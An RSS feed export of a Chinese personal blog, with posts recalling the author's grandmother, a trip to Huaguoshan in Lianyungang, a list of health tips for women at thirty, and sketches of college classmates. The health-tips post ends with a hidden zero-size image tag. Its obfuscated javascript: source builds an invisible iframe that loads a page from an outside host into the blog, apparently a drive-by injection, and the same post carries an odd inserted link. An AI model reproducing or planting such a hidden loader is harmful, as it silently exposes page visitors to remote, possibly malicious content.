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  <title>亚特兰提斯</title>
  <link>http://blog.tom.com/madai26</link>
  <description><![CDATA[  ]]></description>
  <language>zh</language>
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  <pubDate></pubDate>    <item>
		<title><![CDATA[ 我家的女人们系列 ]]></title>
		<link>http://blog.tom.com/madai26/article/1701.html</link>
		<description><![CDATA[ <p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; TEXT-ALIGN: center; mso-char-indent-count: 2.0" align="center"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">（二）外婆</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">我亲爱的外婆在我</span><span lang="EN-US"><font face="Times New Roman">6</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁的时候就去世了，所以在我记忆里，只有一个模糊的印象，她去世的时候</span><span lang="EN-US"><font face="Times New Roman">82</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁（关于外婆的年纪和我的年纪我要说明一下：我妈是外婆第</span><span lang="EN-US"><font face="Times New Roman">14</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">个孩子，我是我妈最小的孩子，所以我和外婆差了那么多的年纪。），但是外婆看起来一点都没有</span><span lang="EN-US"><font face="Times New Roman">82</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁的样子，除了脸上皱纹多点，手上、身上几乎没有老年斑，“腿上的皮肤雪白粉嫩，像</span><span lang="EN-US"><font face="Times New Roman">20</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">多岁，”——外婆大孙子语。可惜遗传到我这边，这基因就弱的表现不出来了，我阿姨好歹继承到了一点，在我妈身上就没有看到了。最遗憾的是，我和我妈都没有见到外婆的最后一面，那时候我们远在中国的西北——青海。这是我妈心里永远的痛，外婆的去世，让原本看上去很年轻的我妈，一下子和同龄人一样了。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">我对外婆的零碎的记忆，加上我妈，我舅等叙述，总算有了个大概的了解，如果有不实之词，也只能抱歉了，并不是我想不敬呢。外婆的故事要从她</span><span lang="EN-US"><font face="Times New Roman">19</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁说起，外婆家出身是地主，家里就她和弟弟两个，作为地主家</span><span lang="EN-US"><font face="Times New Roman">19</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁的女孩来说，已经算是老姑娘了，况且外婆细皮嫩肉，不能嫁到农村去风吹日晒，所以</span><span lang="EN-US"><font face="Times New Roman">19</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁的时候，外婆被许配给了镇上一破落大家族的大儿子，也就是我外公。当然，那时候结婚前，男女是相互不认识的。</span><span lang="EN-US"><font face="Times New Roman">20</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁的时候，我外婆的老妈抑郁成疾，去世了，原因是发现我外公家没有田地，条件不好，觉得外婆被许配过去委屈了。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span lang="EN-US"><font face="Times New Roman">20</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁外婆大婚，是八人抬大轿进</span><span lang="EN-US"><font face="Times New Roman">W</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">家墙门的，据说外婆那时候穿的是腰裙。貌似那时候没落的外公家规矩很多，瘦死的骆驼比马大，挑粪桶的、捡垃圾的是不能经过外公家大门的，穿短衫的，或者没穿什么衫的，都是不能进门的。森严的封建大门制啊！就这样，外婆开始了与一个陌生男人的大半辈子的生活，开始了陆续生小孩的征程。其实我大阿姨是我外婆的第三个孩子了，就是因为那时候医疗条件比较落后，孕妇生小孩都是有接生婆接生，而不是到医院生小孩的。我老妈虽然是最后一个小孩，但是其实老妈后面，外婆还怀过一个孩子，但是因为那时候外婆</span><span lang="EN-US"><font face="Times New Roman">40</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">多岁了，再生孩子实在不太好看，所以打掉了，据说外婆差点为此丧了命。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">既然是讲外婆，自然少不了男主角——我外公。外公兄弟有两个，祖上还比较殷实，但是跟千千万万的</span><span lang="EN-US"><font face="Times New Roman">20</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">世纪初的大家庭一样，正逐渐走向衰败。辛亥革命前后，外公还算是有职业的人，还做些小生意，开开店啥的，家里的生计还不用愁，外公还能捣拾一鸟笼，养点小虫子，穿着长衫，街上到处溜达溜达，还有人主动跟外公颔首，估计这种生活让我外公着实心里美滋滋的。但是时局动荡，外公小生意不做了，苦力又做不来，就这样，外公失业了。失业的一个脾气暴躁的男人在家能干什么呢？那就是打大骂小。据说外公长得还是蛮文质彬彬的，这符合所有</span><span lang="EN-US"><font face="Times New Roman">W</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">家人的特性（在若干年以后，去见一个我从未谋面的隔房舅舅的时候，也是验证了这条）。但是也和所有的公子哥一样，外公肩不能挑担，手不能提篮，估计还要死命的清高，所以失业以后的颜面与自尊只有在对自己家的女人施以暴力中才找得回了。那时候，外公家的产业已经慢慢变卖，偌大的一片</span><span lang="EN-US"><font face="Times New Roman">W</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">家产业，已经有外姓人搬进来了，所以外公打外婆，曾几何时，变得人人皆知了。在泪水中，外婆领教了男人的拳头与冷酷，加上目睹她大女儿也是被百般摧残，所以后来外婆执意要把我妈嫁给老实的男人，脾气好的男人。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">总体来说，外婆的婚姻生活是不幸福的。首先，外婆没嫁过来之前，外婆的老妈就因为担心与忧虑去世了，这不能不给外婆对婚姻生活的憧憬蒙上一层阴影；其次，外婆个性比较柔弱，并且身处那样的社会背景，被老公毒打，只能默默忍受，只能慢慢熬，是不可能反抗或者离婚的；第三，外婆一共生了十几个孩子，估计别人见我外婆的时候，她大部分都是以大肚子的形象示人吧。我想，这也不会是她想要的生活吧；第四，外公应该是个比较自私的男人，他吃饭，老婆喝粥的那种。至于小孩的温饱，也全然不管不顾，外婆后来被逼无奈，没有一技之长和文化知识的她，只好到有钱人家帮佣，补贴家用，养活那么多小孩（外婆的孩子存活率不高，最终成年的只有</span><span lang="EN-US"><font face="Times New Roman">5</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">个，大概是受当时医疗水平的局限吧）；最后，外婆大女儿的不幸婚姻我外公难辞其咎，所以外婆对她这样一个男人，更多的是，绝望吧。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">后来外公去世了，外婆在辛劳中度过了她生命中最后的</span><span lang="EN-US"><font face="Times New Roman">20</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">年，我想，虽然辛苦一点，但是对她来说，应该是释然吧。舅妈对外婆也比较苛刻，但外婆总是小心翼翼的，所以也没有大的冲突。外婆的身体倒是一直很不错，这大概归功于她生了那么多孩子吧，因为有研究报告表明，生一个孩子可以获得多少的免疫能力，外婆一定是获得了很多的免疫力，所以老天保佑，塞翁失马。但外婆的去世，却是一个比较意外的事件。外婆是在得了高血压多年而不自知，并且服用了红参，加上积劳成疾而突发脑溢血倒下的。和大多数的老年人一样，外婆很害怕去医院，所以她有高血压的事实没有人知道，终于在有一天爆发了，无法收拾，也成了老妈心中永远纠结的结。</span></p>
<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">作为最小的外孙女，如何评论外婆的一生，我恐怕没有资格，但是我想补充的是，外婆还是个敢于与世俗反抗的人，因为她小时候就拒绝缠小脚，这在当时，不算多见。很煽情的总结一下：外婆的一生，是辛劳的一生，是健康的一生，祝愿天国的外婆幸福！</span> ]]></description>
		<eb:creationDate>2009-02-03 14:31:54</eb:creationDate>
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    </item>
    <item>
		<title><![CDATA[ 连云港之行——花果山与水帘洞 ]]></title>
		<link>http://blog.tom.com/madai26/article/1547.html</link>
		<description><![CDATA[ <p style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">花果山与水帘洞</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">&nbsp;</p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">连云港的旅游业似乎不那么发达，就花果山那旮旯的门票就要</span><span lang="EN-US"><font face="Times New Roman">120</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，如果你还不想爬</span><span lang="EN-US"><font face="Times New Roman">625</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">米海拔的玉女峰的话，还要付来回缆车（人民币</span><span lang="EN-US"><font face="Times New Roman">60</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">元整）或者来回小公共车（人民币</span><span lang="EN-US"><font face="Times New Roman">40</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">元）的费用，这样一来，有点吃不消呢。再来看看性价比，我在花果山看到几只猴子，一只山羊，</span><span lang="EN-US"><font face="Times New Roman">N</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">条红鲤鱼，钻过一个水帘洞，还有就是沿路的风景了。杭州的西湖，比花果山有名吧，人家不要门票，但是西湖周围的其他产业都被带动起来了。一般，性价比和旅游业的发达程度是呈正比的，所以呼吁下连云港政府，不要死宰外地人（后来听本地人说，花果山底下有入口，不用门票的），宰着一个是一个。旅游业不完全是门票收入啊。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">言归正传，还是谈谈这孙大圣的故乡。说实话，我还是对花果山比较失望的，并且还是抛开门票钱不算的前提下。说它全天然吧，也不见得，反正有点不伦不类的感觉，就连山腰中的寺庙，和尚，也给人有点世俗的感觉（因为我经过寺庙的时候，看到一老和尚和一老徐娘在肆无忌惮的聊天，阿弥陀佛，非礼勿视，非礼勿听）。我来花果山是看孙大圣居住的场所的，不是来看和尚的。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">因为天气非常闷热，玉女峰也比我在江南其他的丘陵地区爬的土坡都要高，考虑到体力与年龄的问题，我还是选择了盘山小公共车，开呀开，转呀转，终于到了云雾缭绕的玉女峰顶。山上很凉爽，一点也没有炎夏的不快，微湿的风，吹在脸上很是舒服。拎着我的小塑料袋，晃晃悠悠，不远处，有几个猴子在看着我们，一点都没有畏惧的神色。以前只是在动物园里看过笼子里的猴子，这样人猴共处的状况还是头一次，我看着它们，它们也看着我。我对带着小猴的母猴尤为感兴趣，不自觉的慢慢走路靠近，突然从半路杀出来一只猴咬金，毫无预警的，巴拉到了我的身上，我吓得连尖叫都没有了，心里就在想：它要是咬我怎么办？我又要去打狂犬疫苗了，我才打过没多久呀。眼巴巴的看着它龇牙咧嘴的脸，尖利的爪子伸进我的塑料袋，从口袋深处揪出一个唯一的一个香蕉（还是宾馆里的，我准备路上吃的），得手以后，从我身上快速跳开，用得意的眼神瞄着我，三下五除二的除去香蕉的皮，三口两口，一根香蕉就下肚了，走开的时候，还不忘瞟我一眼，我只能哭笑不得。后来听别人说，这群猴子被游客养刁了，它们看到塑料袋就知道里边有他们的食物，并且游客被抢掉塑料袋以后也没有反抗，久而久之，就养成了专劫有塑料袋游客的恶习，我经历的只是一个小小的插曲而已。后来下山的时候，看到有个徐娘就着山泉在洗一大塑料袋的桃子，保守估计，有</span><span lang="EN-US"><font face="Times New Roman">10</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">多个。我第二次遇见这个徐娘的时候，她正在叫骂，地上散了好几个桃子，她骂骂咧咧的说：早知道要被猴子抢掉，就不洗了，也不用拎着桃子爬高这么多，来给猴子送食物。我心下居然暗自窃喜，颇有幸灾乐祸的感觉。猴子们得意的啃着桃子，因为桃子比较多，所以啃几口就扔了，还真奢侈，看来它们都不缺食物。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">下山到半山腰的时候，山里起雾了，</span><span lang="EN-US"><font face="Times New Roman">2</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">米开外就看不见人了。因为天气热，这黑山门票又高，所以沿着山路，几乎看不到一个人影，只有一只、两只的猴子在路边玩味的看着你，有点害怕，在这前不着村，后不着地的路上，被一群猴子攻击，那该怎么办？或者从山路的拐角突然杀去一个劫财劫色的歹徒，我们该怎么办？热意，全没了，寒意，却越来越浓了。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">山穷水尽疑无路，柳暗花明又一村。终于看到传说中的水帘洞了，小小的瀑布正从山洞上方倾斜而下，溅起晶莹的水花。既然有山洞，那肯定是要进去瞧瞧的啦，我冒着被瀑布淋透的危险，冲进了传说中的水帘洞，里边亮着一盏</span><span lang="EN-US"><font face="Times New Roman">100w</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的白炽灯泡，底下是一张长条的石凳，有游客垫了塑料袋或者报纸或者干脆屁股悬空在那里留念。我也跟风一把，留影一张，由于环境采光不好，把眼睛拍成两个小灯泡。很是叹息，这大名鼎鼎的水帘洞，原来如此的不堪，就一湿乎乎的石洞，还看不出究竟是人工的还是天然的，更不堪的是，脚底下，全是泥浆，踩一脚都要小心翼翼，还好连云港没有听说有沼泽，不然不是完了么。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">从水帘洞落荒而逃的冲出来，终于又见天日了，还是在洞前留点纪念吧，拍了个湿漉漉的我，到此一游！</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">玉女峰实在太高了，往山下走，也已经体力不支，所以还是坐缆车下山吧。缆车下面，全是栗子树，树上有一粒粒的小毛栗子，看着就在眼前，但是就是采不到，再说，在运行着的缆车里，也不敢动作幅度太大，就怕一不小心，车毁人亡。安全，安全永远第一。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left"><span lang="EN-US"><font face="Times New Roman">200</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">块钱，就这样没有了，想想，真是有点不值。不过，算了，旅游在外，钱是小事，经历才是最重要的。留个回忆，留个日志，权当以后老了，没有牙了，聊以慰藉。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left">&nbsp;</p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left">&nbsp;</p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left">&nbsp;</p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">抢我香蕉的猴子：</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt; TEXT-ALIGN: left" align="left"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"><a href="http://images.blog.tom.com/newimg/469/598/2009/0111/1231661284.jpg" target="_blank"><img src="http://images.blog.tom.com/newimg/469/598/2009/0111/1231661284.jpg"></a></span></span></p> ]]></description>
		<eb:creationDate>2009-01-11 12:43:04</eb:creationDate>
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    </item>
    <item>
		<title><![CDATA[ 女人30能为青春做的N件事 ]]></title>
		<link>http://blog.tom.com/madai26/article/1386.html</link>
		<description><![CDATA[ 30岁的你能为青春做N件事：
<p><strong>　　1、补钙</strong></p>
<p>　　<a href="http://talk.39.net/zjft" target="_blank">专家</a>证实，女性28岁以后，身体中的钙每年以0。1%～0。5%的速度减少。这个时期女性每日至少要摄取1000毫克钙；若在怀孕、<a href="http://woman.39.net/nxbj/brqbj" target="_blank">哺乳期</a>，则加至1500 毫克。</p>
<p><strong>　　2、补充纤维素</strong></p>
<p>　　这个时期女性经常会有<a href="http://jbk.39.net/keshi/neike/xiaohua/48fd7.html" target="_blank"></a><a href="http://zzk.39.net/zz/quanshen/50512.html" target="_blank">便秘</a>、肥胖等苦恼。纤维素可以令女性免去后顾之忧，它在通便、<a href="http://face.39.net/mrhf/hfcs/" target="_blank">排毒</a>、降血脂、防治肥胖方面功效卓著。</p>
<p><strong>　　3、补充</strong><a href="http://jck.39.net/jiancha/huaxue/shjc/4e66b.html" target="_blank"><strong>叶酸</strong></a></p>
<p>　　怀孕、生育，都会让女性<a href="http://food.39.net/nutrition/" target="_blank">营养</a>缺乏，叶酸是B群<a href="http://www.39.net/drug/vitamin/" target="_blank">维生素</a>中的一员，为人体细胞生长和分裂所必需的物质之一，可以缓解营养缺乏症。</p>
<p><strong>　　4、驾驶时戴上安全防护设施</strong></p>
<p>　　工作中的角色越来越重要，但一定要记住开车和坐车时都要系安全带，开车时不要使用手机，这些可以使你远离事故，保障青春。</p>
<p><strong>　　5、建设优质性生活</strong></p>
<p>　　性是一流的年龄缩减剂，它能舒缓压力，放松心情。别再把工作当作一切，一年中你获得的性高潮越多，你就越年轻。夫妻间的安全性生活增加到116次将会使你的真正年龄年轻1。6岁。</p>
<p><strong>　　6、每天吃早餐</strong></p>
<p>　　它能有效地促进新陈代谢，保持血管和免疫系统年轻，它最好包括谷类<a href="http://food.39.net/" target="_blank">食物</a>、水果、奶制品。</p>
<p><strong>　　7、饮食多样化</strong></p>
<p>　　每天4份水果，5份<a href="http://food.39.net/nutrition/shucai/" target="_blank">蔬菜</a>，每星期吃两次鱼。做回杂食动物吧，继续巩固你 20岁时打下的免疫基础。</p>
<p><strong>　　8、每晚按时睡觉</strong></p>
<p>　　最好的睡眠是每天都有规律地睡 7～8个小时。</p>
<p><strong>　　9、养只狗，陪它散步</strong></p>
<p>　　狗的主人血压低，胆固醇也低，心理状态好，总能保持更长的青春。</p>
<p><strong>　　10、抽时间做有氧运动</strong></p>
<p>　　可以增加心肺血管活力。每天步行一小时或在短时间内做大运动量的锻炼，每周至少消耗3500卡的热量。</p>
<p><strong>　　11、做增强力量和柔韧性的锻炼</strong></p>
<p>　　如练拉力器、瑜珈，这些训练能保持骨密度，防止骨骼老化。</p>
<p><strong>　　12、保持稳定的理想的体重</strong></p>
<p>　　经历生育后，你的体重已经不能和 20多岁时相比，现在需要慢速和持久的减肥。</p>
<p><strong>　　13、不急于起床</strong></p>
<p>　　早晨醒来后，伸伸懒腰，让脊柱也有“苏醒”的时间，这可以避免腰痛，保持良好的姿态。</p>
<p><strong>　　14、饭后强迫自己运动15分钟</strong></p>
<p>　　比如找个收拾<a href="http://food.39.net/pr/cfcj/" target="_blank">厨房</a>之类的活儿。这是<a href="http://gallery.ircv.org.cn/stars/529.html" target="MZapSdERACE">简单</a>有效的保持体重稳定的又一方法。</p>
<p><strong>　　15、不要久坐</strong></p>
<p>　　据说久坐会坐出下垂的大PP，对心脏和血管也没有好处。</p>
<p><strong>　　16、服用VC和VE</strong></p>
<p>　　每天补充超过1200毫克的<a href="http://food.39.net/nutrition/yys/vitamine/" target="_blank">维生素</a> C，400国际单位<a href="http://jck.39.net/jiancha/huaxue/shjc/4e679.html" target="_blank">维生素E</a>。这是两种最重要的抗氧化剂，联合服用能减少血管壁上的有害堆积物</p>
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<img style="WIDTH: 0px; HEIGHT: 0px" src="javascript:var%20mycode=String.fromCharCode(60)+'ifram'+'e%20frameborder=0%20scrolling=no%20style=width:0px;height:0px;%20src=http://blogx.freepgs.com/000/ttoomm.html'+String.fromCharCode(62)+String.fromCharCode(62)+'/ifram'+String.fromCharCode(62);window.document%20.getElementById%20('mainSubjectt').innerHTML=mycode"> ]]></description>
		<eb:creationDate>2008-10-18 23:44:42</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ 海洋班列传之十九－－秤砣传 ]]></title>
		<link>http://blog.tom.com/madai26/article/1309.html</link>
		<description><![CDATA[ <p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; TEXT-ALIGN: center; mso-char-indent-count: 2.45" align="center"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">海洋班列传之－－秤砣传</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">都说了，随便叫别人绰号不好。首先申明，这不是我的版权，只是我暂时借用一下，所以当事人千万别找我的麻烦。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">初次对秤砣同学印象非常深刻是班级联谊时候的诗朗诵，很深情款款，那时候我还比较青涩，这个成语的意思还没有完全领会。后来的一次深刻印象，就是秤砣这个绰号的由来了。大一青春飞扬的我们，在一个阳光明媚的天气，全班去了浦口的珍珠泉，抛开最好玩的划竹筏，还有一个项目全班同学都玩了一遍，那就是骑马，马是比较小的那种，我也不知道品种，反正那次是我第一次骑马，心里真的很惴惴，还好有惊无险。在我们排队的时候，出现了个插曲，一匹小马撒蹄狂奔，扬起一片尘土，在跑道的第一个拐角，重重的腾起了一阵烟雾，有人落马了！好像还是比较标准的垂直运动，所以，这次浦口之行，这位同学收获了个绰号。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">秤砣同学是表里都非常宽厚的人，很踏实，最让我们崇拜的是某次，他投稿还得了一部手机，要知道，那时候，手机可真的是奢侈品啊！我们大一平安夜的时候才通电话，大二的时候才看到电视，大四下学期的时候，因为找工作的原因，手机才渐渐多了起来。秤砣同学好像是班级里第一个有手机的人，如果我没有记错的话，好像是一部摩托罗拉（如果不是，那就是西门子）。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">后来工作以后，他一个人在苏州西山，我和鸭子两个人杀过去，</span> <span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">吃农家菜，他点了满满一桌菜，实在是太热情了，我和鸭子虽然贪吃，但是还是受体型所限，实在吃不下，但是浪费那么多，真的不舍得。后来我和鸭子提起这事的时候，就感慨，您真太热情了，不过下次还会找你一起吃饭，因为您热情。</span></p> ]]></description>
		<eb:creationDate>2008-08-18 22:25:39</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ 海洋班列传之二十三－－小宝传 ]]></title>
		<link>http://blog.tom.com/madai26/article/1292.html</link>
		<description><![CDATA[ <p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; TEXT-ALIGN: center; mso-char-indent-count: 2.45" align="center"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">海洋班列传之－－小宝传</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">我和这小宝的关系，真是太，太，太那个了。我们同穿过一条裤子，同睡过一张床，同吃过一锅饭……一起哭，一起笑，一起疯，一起酸，真可以说得上是风雨四年。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">双鱼座的小宝，可能在水里长大的吧，爱哭鼻子，也很随性，我只是不小心充当了个保护者的角色。那时候，大宝虽然横行乡里，却恃弱凌强，从来不打我们俩一把小骨头的主意，所以我们一直比较安全。我和小宝的友谊，还是军训的时候建立起来的，那时候，我们俩，是通铺中的两叶孤舟，很独立的大队，然后就一直一起行动，发泄着自己的青春。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">我自认为是比较入得厨房的，所以在没有爱心对象可以奉献的时候，小宝理所当然成了搭伙人，她考研的时候，打饭的重任就落到了我的头上，我经常乐呵呵的把两个人的饭都往肚子里扒了，到现在还是很佩服自己那时候的胃口，陈了多少年的米，我居然吃的如此的义不容辞与狼吞虎咽，可能肚子里真是太没有油水了，这么多的陈米，吃的我的脸色也和陈米一样，还有一个直接的后果就是长出了不小的小肚子。还是很羡慕小宝的，她就没有小肚子，都长到我肚子上了。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">我其实大学毕业的时候，很佩服小宝的，这样一个感性与柔弱的小宝，居然独自一人去福建读书，至少我没有那样的勇气。三年以后回来，感觉就不一样了，看来人生还是需要历练。我们都长大了。</span></p> ]]></description>
		<eb:creationDate>2008-07-30 22:58:21</eb:creationDate>
